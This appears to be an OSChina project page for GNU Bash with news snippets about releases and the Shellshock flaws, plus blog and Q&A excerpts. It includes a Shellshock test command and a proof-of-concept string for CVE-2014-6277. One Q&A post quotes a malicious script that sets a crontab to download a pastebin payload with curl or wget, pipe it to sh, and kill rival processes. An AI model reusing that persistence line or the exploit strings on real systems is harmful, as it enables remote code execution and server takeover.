Bash 正在参加 2020 年度 OSC 中国开源项目评选,请投票支持!
Bash 在 2020 年度 OSC 中国开源项目评选 中已获得 {{ projectVoteCount }} 票,请投票支持!
投票让它出道
已投票
Bash 获得 2020 年度 OSC 中国开源项目评选「最佳人气项目」 !
Bash 获得 2020 年度 OSC 中国开源项目评选「最佳人气项目」「最积极运营项目」 !
Bash 获得 2020 年度 OSC 中国开源项目评选「最积极运营项目」 !
授权协议 GPL
开发语言 SHELL
操作系统 Linux
软件类型 开源软件
开源组织
地区 不详
投 递 者 红薯
适用人群 未知
收录时间 2009-02-24

软件简介

bash 是一个为GNU项目编写的Unix shell。它的名字是一系列缩写:Bourne-Again SHell — 这是关于Bourne shell(sh)的一个双关语(Bourne again / born again)。Bourne shell是一个早期的重要shell,由Stephen Bourne在1978年前后编写,并同Version 7 Unix一起发布。bash则在1987年由Brian Fox创造。在1990年,Chet Ramey成为了主要的维护者。

bash是大多数Linux系统以及Mac OS X v10.4默认的shell,它能运行于大多数Unix风格的操作系统之上,甚至被移植到了Microsoft Windows上的Cygwin系统中,以实现windows的POSIX虚拟接口。此外,它也被DJGPP项目移植到了MS-DOS上。

bash的命令语法是Bourne shell命令语法的超集。数量庞大的Bourne shell脚本大多不经修改即可以在bash中执行,只有那些引用了Bourne特殊变量或使用了Bourne的内置命令的脚本才需要修改。 bash的命令语法很多来自Korn shell (ksh) 和 C shell (csh), 例如命令行编辑,命令历史,目录栈,$RANDOM 和 $PPID 变量,以及POSIX的命令置换语法: $(...)。作为一个交互式的shell,按下TAB键即可自动补全已部分输入的程序名,文件名,变量名等等。

展开阅读全文

评论 (1)

加载中
这次的 Bash 漏洞很容易处理,不想之前的 OpenSSL 漏洞那么麻烦,而且影响范围广
2014/09/25 14:58
回复
举报
更多评论
发表了资讯
2019/01/10 07:39

Bash 5.0 发布,部分功能与 4.4 不兼容

Unix Bash 放出第 5 个主要版本这个版本主要修复了Bash 4.4 中几个明显的错误,同时也加入了一些新功能。Bash 是一个完整的POSIX 规范项目,除了有交互式命令列编辑功能,还在基架构上支援工作控制,并提供类似csh的功能等。 Bash 5.0 主要解決 Bash 4.4的错误,改变对nameref解析的方法,和一系列以模糊测试发现的潜在查出范围的错误。另外,Bash 5.0 在不执行字符拆解以符合Posix标准解释的情況下,在不同的上下文中,$@和$*的...

15
5
发表了资讯
2017/01/23 10:26

漏洞预警 GNU Bash 本地命令执行漏洞

近期历史悠久的 GNU Bash 爆出了一个高危漏洞,Bash < 4.4 版本存在安全漏洞,通过构造的 SHELLOPTS、PS4 环境变量,本地用户利用此漏洞可用 root 权限执行任意命令。 官方 CVSS V3 评级为 High,属于高危漏洞,预测当前 90% 以上的 Linux 用户都会受到影响。 http://www.openwall.com/lists/oss-security/2016/09/26/9 小编测试了一下,100% 命中: 各位站长,赶在过年之前快动起来吧...

18
23
发表了资讯
2016/09/17 00:00

Bash 4.4 和 Readline 7.0 发布,修复大量Bug

GNU Bourne Again SHell (Bash)项目团队宣布Bash4.4正式发行。这次发行修复了大量Bug以及增加大量的新特性。最显著的更新是映射文件可随意使用记录分隔符。其他更新内容如下: a --help option available for nearly all builtins; a new family of ${parameter@spec} expansions that transform the value of `parameter'; the `local' builtin's ability to save and restore the state of the single-letter shell option f...

3
6
发表了资讯
2014/10/09 00:00

Shellshock 漏洞面临失控,雅虎和WinZip中招

安全研究人员 Jonathan Hall近日声称发现了一个罗马尼亚黑客搭建的僵尸网络,利用Shellshock漏洞控制了大量知名互联网公司的服务器,包括雅虎和压缩工具软件WinZip的官网。 Jonathan Hall最近发布了雅虎服务器的漏洞报告,并透露雅虎已经承认有两台游戏服务器(dip4.gq1.yahoo.com和api118.sports.gq1.yahoo.com)被僵尸网络入侵并取得root权限。 据Hall透露,发现雅虎僵尸服务器事出偶然。当时Hall正在追踪扫描Hall所在公司服务...

20
17
发表了资讯
2014/10/03 00:00

VMware发布软件更新以修复Shellshock安全漏洞

作为几个主要的技术公司之一的 VMware 开始发布软件更新用来处理 GNU Bash 的 Shellshock 安全漏洞。受该漏洞影响的软件包括:ESX, vCenter Server Appliance, Horizon Workspace, IT Business Management Suite, vCenter Log Insight, vCenter Operations Manager, vCenter Site Recovery Manager, vCloud Application Director, vCloud Automation Center, vCloud Director Appliance, vFabric Postgres, VMware Data Recover...

2
8
发表了资讯
2014/10/03 00:00

Shellshock 后续漏洞

CVE-2014-6277和CVE-2014-6278终于曝光,POC:bash -c "f() { x() { _; }; x() { _; } <<a; }",漏洞的发现者Michal Zalewski给出了详细的分析,BASH 社区补丁还在紧急的修复中,因为涉及backporting中的一些比较蛋疼的问题,预计UPSTREAM得到这个礼拜末才能完成修复工作,也就是说 GNU/Linux发行版最早应该会在本周末或者下个礼拜才能修复,在这一段时期特别对于生产环境的服务器是比较危险的,有2个方法来降低风 险:1,ASLR/...

5
11
发表了资讯
2014/09/30 00:00

甲骨文紧急修补Bash漏洞,四十多款产品还在排队

Shellshock 漏洞初估影响了数十款甲骨文產品,不过甲骨文初步释出的修补程式只涵盖少数產品,目前未修补的產品数量则更多,包含Big Data Appliance、Oracle Communications系列產品、Oracle Fusion及Oracle Switch ES1-24等超过40项。 甲骨文(Oracle)於上周释出更新程式,修补部份產品中有关Bash Shell的CVE-2014-7169漏洞,但仍有四十多款產品目前还未释出修补程式。 相关网站:甲骨文安全通告 第一个被发现的Bash Shell漏洞...

30
9
发表了资讯
2014/09/30 00:00

OS X Bash 1.0 发布,修复严重漏洞

苹果今天终于发布了 Bash 1.0 更新,修复了前两天非常严重的安全漏洞。该版本要求:OS X Mavericks v10.9.5 或者更新版本。但不支持 Yosemite 。 更多关于该漏洞细节请看 http://support.apple.com/kb/HT1222. 下载地址:http://support.apple.com/downloads/DL1769/en_US/BashUpdateMavericks.dmg...

8
6
发表了资讯
2014/09/29 00:00

为何修复 Shellshock 漏洞像打地鼠

GNU Bourne Again Shell(bash)的Shellshock漏洞影响了广泛使用bash的Unix/Linux服务器,由于它允许远程执行代码获得与系统管理员相同的 权限去控制系统而被认为破坏力超过Heartbleed。而更糟糕的是,bash官方补丁没有完全修复问题。为何修复Shellshock漏洞就像打地鼠, 堵了一头另一头又冒出?Shellshock漏洞的工作原理是:攻击者可以向任何使用bash交互的系统如Web服务器、Git版本控制系统和DHCP客 户端发送请求,请求包含了以...

10
15
发表了资讯
2014/09/26 00:00

bash 漏洞未被彻底修复,红帽再发补丁

bash漏洞未被彻底修复,红帽今日上午再发新补丁。 见红帽勘误表 https://rhn.redhat.com/errata/rhel-server-6-errata.html 。 吐槽一句,昨晚白忙活了。 via rhn

42
7
发表了资讯
2014/09/25 00:00

Bash 远程任意代码执行安全漏洞(最严重漏洞)

US-CERT 意识到 Bash 存在一个安全的漏洞,该漏洞直接影响基于 Unix 的系统(如 Linux、OS X 等)。该漏洞将导致远程攻击者在受影响的系统上执行任意代码。 US-CERT 建议用户和管理员重新检查这篇红帽的安全博客。更多的详情只能参考相应 Linux 发行商以获取相应补丁。 你可以使用如下命令来检查系统存在此漏洞: env x='() { :;}; echo vulnerable' bash -c "echo this is a test" 受影响的系统包括: CentOS Deb...

74
62
发表了资讯
2009/02/24 00:00

Bash 4.0 发布

作为多数Linux系统及OS X v10.4默认的shell,Bourne-Again SHell 4.0正式发布 。BASH 4.0修改了3.x版本中留下的bug,同时增加了许多新特性。 最值得关注的新特性是关联数组(associative arrays),改进了可编程完成函数(completion functionality),case-modifying单词扩充,复合进程,支持`**'特别glob模式,增加shell句法和重定向。 shell在分析内部命令替换上变得更严格,修正了POSIX虚拟接口的不兼容块。你现在可以去下载...

0
0
没有更多内容
加载失败,请刷新页面
点击加载更多
加载中
下一页
发表了博客
2019/03/14 18:00

[Bash] Create Aliases in .bash_profile for Common Bash Commands

.bash_profile is a file that bash invokes (or more technically sources) before the start of a new bash session. In .bash_profile, we have the opportunity to add variables, functions, and aliases to customize our bash environment and provide reusable functionality. In this lesson, we’ll look at adding a git_sync alias as well as a ll alias. Aliases act like shortcuts and save us time and typin...

0
0
发表于运维专区
2019/11/26 04:46

Bash

!!!没有熟练bash不要做!!! 把linux命令编成.sh 注释 ** 单行 #为注释 多行 : '   !!!冒号和'必须有空格 被注释的多行内容 ' echo 多行直接写 echo "this line 1   !!!echo和"必须有空格 这是一个由shell创建的文件 this is a file created by shell. we want to make a good world." 写文本 单行文本 //echo后边用单引号包围要添加的内容 echo 'add content'>>/home/data/test.sh1 注意:>> 是追加 echo 'add co...

0
0
发表了博客
2013/08/07 14:52

bash $

获取脚本路径:TOP_DIR=$(cd $(dirname "$0") && pwd) 3.5.4 Command Substitution Command substitution allows the output of a command to replace the command itself. Command substitution occurs when a command is enclosed as follows: $(command) or `command` Bash performs the expansion by executing command and replacing the command substitution with the standard output of the command, with any trailin...

0
0
发表了博客
2018/04/23 18:25

git bash 报错bash: *: command not found

默认安装的git bash某些功能是没有的,比如zip,在git bash下执行zip和unzip命令时会报错命令找不到,但值得庆幸的是,我们可以安装我们需要的命令,以下以zip命令为例,步骤如下: 1.打开https://sourceforge.net/projects/gnuwin32/files/ 2.找到zip和bzip2,由于zip依赖bzip2.dll,下载zip-3.0-bin.zip和bzip2-1.0.5-bin.zip,解压后,复制zip-3.0-bin的bin目录下的zip.exe 和bzip2-1.0.5-bin的bin目录下的bzip2.dll到<Prog...

0
0
发表了博客
2012/11/21 16:35

/etc/profile & ~/.bash_profile & ~/.bash_profil...

/etc/profile: 此文件为系统的每个用户设置环境信息,当用户第一次登录时,该文件被执行. 并从/etc/profile.d目录的配置文件中搜集shell的设置. /etc/bashrc: 为每一个运行bash shell的用户执行此文件.当bash shell被打开时,该文件被读取. ~/.bash_profile: 每个用户都可使用该文件输入专用于自己使用的shell信息,当用户登录时,该 文件仅仅执行一次!默认情况下,他设置一些环境变量,执行用户的.bashrc文件. ~/.bashrc: 该文件包含专...

0
1
发表了博客
2010/04/09 12:09

bash find

由于find具有强大的功能,所以它的选项也很多,其中大部分选项都值得我们花时间来了解一下。即使系统中含有网络文件系统( NFS),find命令在该文件系统中同样有效,只你具有相应的权限。 在运行一个非常消耗资源的find命令时,很多人都倾向于把它放在后台执行,因为遍历一个大的文件系统可能会花费很长的时间(这里是指30G字节以上的文件系统)。 一、find 命令格式 1、find命令的一般形式为; find pathname -options [-print -ex...

0
1
发表了博客
2013/03/19 23:38

bash

3.20

0
0
发表于开发技能专区
2014/08/27 01:50

Bash-it环境,更快捷的bash配置

Bash-it 包含的东西有 autocompletion, themes aliases custom functions a few stolen pieces from Steve Losh and more. Bash-it安装 1.下载 git clone https://github.com/revans/bash-it.git ~/.bash_it 2.安装 ~/.bash_it/install.sh 3.配置,只需要编辑 ~/.bash_profile Bash-it 帮助 下面是一些常用的帮助 bash-it show aliases # shows installed and available aliases bash-it show completions # shows installed an...

0
4
没有更多内容
加载失败,请刷新页面
点击加载更多
加载中
下一页
发表了问答
2015/05/06 17:26

linux下如何判断文本的字符集编码?

在linux中的机器上有个包含中文的文本文件,通过secureCRT连接 按照网上说的用"file -i file_name"查看的编码是 iso-8859-1,也就是Latin1,但是查看的时候确实乱码(用cat直接输出,secureCRT的连接编码方式改成ios-8859-1) 把secureCRT的连接方式改成GB2312,直接用cat输出能正常显示中文 那这个文件是不是就是GB2312的编码?file命令的输出不正确? 最后问下,该如何查看文件的编码方式?(vim里看fileencoding为空)...

4
0
发表于服务端专区
2020/02/10 14:19

$?返回值问题

环境描述:Python3.6 问题描述:我在脚本中执行了scp, scp成功后$?得到预期外的结果 test.sh代码 #!/bin/bash # localfile为本地真实存在文件, remote_host为真实存在服务器ip。ssh配置已经配置过,并且单独执行test.sh没有问题 scp -q localfile remote_host:~/ 2>&1 echo $? exit 0 worker.py代码 import subprocess from multiprocessing import Process import os import signal import sys from multiprocessing...

2
0
发表了问答
2019/01/28 15:54

Shell 拼接字符串,为什么后面的将前面的覆盖掉了?

打印结果 -pass 123456ses -type ORACLE -addr 127.0.0.1 求大神告知,为何databaseParameter打印的结果后面的字符串为何把前面的覆盖掉了?

2
0
发表于云计算专区
2019/03/27 10:52

Docker问题 研究了好久都没解决,求帮忙!

当直接使用 docker run -it 启动docker镜像时报/usr/local/pgsql/bin/postgres -D /usr/local/pgsql/data: No such file or directory错误,但我把Dockerfile的ENTRYPOINT和CMD注释掉,使用docker exec 进入docker镜像里面启动 ENTRYPOINT 的shell脚本 可以成功。 start.sh #!/bin/bash cd /usr/local/pgsql/bin/ ./initdb -D /usr/local/pgsql/data/ cd /usr/local/pgsql/bin/ ./pg_ctl -D /usr/local/pgsql/data/ -l logf...

3
0
发表了问答
2019/03/10 06:41

学linux为什么还要分学哪个发行版?不是都用BASH吗?xwindow也有很大区别吗?

学linux为什么还要分学哪个发行版?不是都用BASH吗?xwindow也有很大区别吗?

12
0
发表了问答
2019/02/20 18:55

求解这段shell代码是干啥的

export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin echo "*/10 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh" | crontab - ps auxf | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep get.bi-chi.com | awk '...

5
0
发表了问答
2019/01/16 17:03

Linux Shell下文件传输sftp怎么判断传输成功或失败状态?

从服务器A上传文件到服务器B,使用SFTP命令封装脚本,如果在上传文件后判断文件上传状态是成功还是失败呢?

7
0
发表了问答
2018/11/19 10:10

shell脚本中怎么获取中文字符的长度?

我想获取一个字符串的长度如:“kke你好” 用`expr length`总是获取不正确,有没有更好的方法?

4
0
发表了问答
2014/10/19 18:33

suse linux升级bash后无法登录系统

今天在做suse的bash 升级的时候,刚开始是用一个tar包,执行完成后发现版本是我安装的版本,但用bash漏洞检测的时候发现输出还是不对。 然后又在网上找了一个rpm包进行安装,刚开始安装的时候提示说有依赖关系,然后就强制安装上了。 安装上后刚开始发现直接无法登录,但可以通过其他的服务器跳转。 后来在操作中不知咋的,自己就断开连接了,在等就无法登录了 提示如下错误: -bash: error while loading shared libraries: l...

2
0
发表了问答
2017/03/08 19:24

docker 如何提交到原镜像而不是新建镜像

如题, docker run -it imageA 然后做了操作 ,如软件安装等 接下来如何把变更写回到原imageA ? 如果用commit 会产生一个新的镜像,这不是我所需要的。

6
0
发表了问答
2015/07/03 17:59

Yosemite mac os 如何用 shell/cli 推送一个自定义的桌面通知

在做后台任务的时候,如果任务完成,想要用命令行的方式,在桌面右上角产生一个桌面通知。 不知道怎么用shell/cli 的方式做到?

2
0
发表了问答
2016/08/18 07:36

用ls遍历大目录的性能问题

一个目录下有几十万的文件,如何用ls(或者其它命令)快速地遍历它们,输出到stdout? 可以接受无序,也就是说,所谓快速遍历,就是不需要进行预先排序就能流式地读到一个文件就输出一个文件,这样内存占用也很小。 已经尝试过的方案是 ls -l -f 加了-f后确实在性能上满足我的想法,但-l的功能没出来。 谢谢

8
0
发表了问答
2016/04/28 12:43

如何通过shell脚本调用vim在不同选项卡中打开多个文件

由于每次编程都要在vim中输入完整的文件路径打开相应文件。 当需要编辑文件较多时比较繁琐,所以想通过shell脚本一次打开多个经常使用的文件。 正常在vim中打开文件方法如下: vim test.cpp 后面的文件通过下面的命令在不同选项卡中打开 :tab split test1.cpp 如何通过shell 脚本实现上面的功能呢? vim test.cpp test1.cpp 上面的代码在不同的窗口中打开了文件,没有在同一个选项卡中打开。 vim test.cpp : tab split test1.c...

4
0
发表了问答
2015/09/09 12:04

关于shell脚本函数未预期的符号 `}' 附近有语法错误

function install_yj { cd ${BUILD} if [ ! -f gmp-6.0.0a.tar.xz ];then wget http://ftp.gnu.org/gnu/gmp/gmp-6.0.0a.tar.xz fi if [ ! -f mpfr-3.1.3.tar.xz ];then wget http://ftp.gnu.org/gnu/mpfr/mpfr-3.1.3.tar.xz fi if [ ! -f mpc-1.0.3.tar.gz ];then wget http://ftp.gnu.org/gnu/mpc/mpc-1.0.3.tar.gz fi if [ ! -f isl-0.15.tar.bz2 ];then wget ftp://gcc.gnu.org/pub/gcc/infrastructure/isl-0.15.tar.bz2 if ...

3
0
发表了问答
2016/01/13 11:26

cron 调度的 shell 获取 ip 为空

遇到一个奇怪的问题请诸位帮忙参考: 我这段脚本,单独执行脚本,正常获得主机ip和磁盘空间使用情况,使用 corn 调度的,便无法拿到 ip ,收到邮件 ip 为空 想不通原因,劳烦帮忙看看,谢谢 #!/bin/bash ip=$(ifconfig | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $1}') dev_name='/dev/sda3' fTitle='【磁盘常规通报】' let per=`df -h $dev_name | grep -v ^File | awk '{printf ("%i",$5); }'...

6
0
发表了问答
2015/12/25 08:37

怎样检测用户的IDLE-TIME

用PERL编了一个小程序(也可用Bash shell),利用<stdin>捕获用户的输入。想实现如果在一定时间内用户无输入则退出,否则程序继续运行,怎么作呢?无头绪,哪位能帮一下呀?先谢过了。

1
0
发表了问答
2015/11/12 22:24

在shell中如何输出表格样式的统计结果?

有哪位高人知道shell中怎么做表格吗?像下面这样的表格,我现在用shell计算一个结果,想以这种表格的形式展示。在谷歌上搜了也没结果

8
0
发表了问答
2015/10/21 11:59

shell脚本中远程执行kill命令不生效问题

需求大致如下 1、a b c 3台服务器 2、在a上ssh到b上,b在ssh到c,查找到c上面特定的进程pid 3、在a上ssh到b上,b在ssh到c,kill掉上面步骤中找到的进程 需求1和2 已经实现,需求3 kill会有问题 执行kill命令的时候,是在b机器而不是c机器了 xargs和管道前面的,却都是在c执行的,进程号也能获取到了 大家看看有什么改进办法 shell脚本代码 执行过程 b、c机器都不方便放脚本远程调用执行,所以只能这样搞 脚本代码片段和尝试过的...

5
1
发表了问答
2015/10/20 17:19

shell编程里,管道代码共用的问题

有两串shell命令,是一系列命令管道,执行类似的操作:前半部分不同,后半部分是完全相同的,大概如下 cmd_a1 | cmd_a2 | cmd_a3 | cmd_c5 | cmd _c6 .... cmd_b1 | cmd_b2 | cmd_c5 | cmd_c6 ..... 如果相同的部分,如上例中的cmd_c5..... 实现代码非常繁琐,维护起来会很麻烦,修改时很容易忘掉同步复制。 请教大家,像这样的相同的部分,如何实现代码复用? ------------------------------------------ [答案/方案] 实现方案...

2
0
发表了问答
2013/09/09 14:50

Shell 编程中的 $N 以及 append关键字的作用和用法

最近在看某个脚本文件, 见到有不了解的地方: 1 $N的作用, 见不到它的声明和定义, 不知道有什么用. func func_name $N 2 append的作用. 这个append是头一次见, 不知道是什么来的. 有什么用? 希望知道的大侠能够解释一下作用, 能说明一下用法就更好了... 不胜感激.

3
0
没有更多内容
加载失败,请刷新页面
点击加载更多
加载中
下一页
1 评论
52 收藏
分享
OSCHINA
登录后可查看更多优质内容
返回顶部
顶部